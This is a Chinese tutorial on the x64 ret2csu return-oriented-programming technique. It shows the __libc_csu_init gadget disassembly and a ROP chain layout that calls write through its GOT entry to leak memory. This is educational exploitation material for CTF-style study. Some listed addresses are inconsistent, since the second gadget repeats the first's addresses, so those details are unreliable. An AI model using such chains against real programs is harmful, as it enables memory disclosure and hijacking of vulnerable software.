在x64中,如果遇到函数调用需要传入3个参数,分别依赖【rdi,rsi,rdx】三个寄存器,但通过ROPgadget无法找到相关的寄存器利用链,这时,我们就要开始考虑通过调用__libc_csu_init函数来实现传递3个参数的效果,这种实现方式,称为 ret2csu。
原理
为了解决给 64 位程序的函数传递 3 个参数的问题,引入了一种全新的 ROP 方法,利用每个 64 位程序在编译时嵌入的函数__libc_csu_init.使用命令 objdump –d 文件名 可查看
注意:每个程序的对应地址可能不同,但偏移相同
我们只关注比较重要的指令
gad1 部分:
400610 pop rbx # 必须为 0
400613 pop rbp # 必须为 1
400616 pop r12 # call(由于下面 call 指令的寻址方式为间接寻址,所以此处应为got表地址)
400619 pop r13 # arg3
40061d pop r14 # arg2
400621 pop r15 # arg1
400624 retn # to gad2
gad2 部分:
400610 mov rdx, r13 # 传入第三个参数
400613 mov rsi, r14 # 传入第二个参数
400616 mov edi, r15 # 传入第一个参数
400619 call qword ptr [r12+rbx*8] call # 此时 rbx=0 ,r12=func_got,call[r12]=call func
40061d add rbx, 1
400621 cmp rbx, rbp
400624 jnz short loc_400880
400626 add rsp, 8 #padding
40062a pop rbx #padding
40062b pop rbp #padding
40062c pop r12 #padding
40062e pop r13 #padding
400630 pop r14 #padding
400632 pop r15 #padding
400634 retn ——> #构造一些垫板(7*8=56byte)就返回了
所以我们就通过这种方式传递 3 参数,构造的 ROP 链如下
gad1 |
0 (must) |
1 (must) |
write_got |
0x10(write_arg3_size) |
write_got(write_arg2_buf) |
1(write_arg1_fd) |
gad2 |
AAAAAAAA (填充 add rsp, 8) |
AAAAAAAA (填充 pop rbx) |
AAAAAAAA (填充 pop rbp) |
AAAAAAAA (填充 pop r12) |
AAAAAAAA (填充 pop r13) |
AAAAAAAA (填充 pop r14) |
AAAAAAAA (填充 pop r15) |
0xffffffffffffffff( ret) |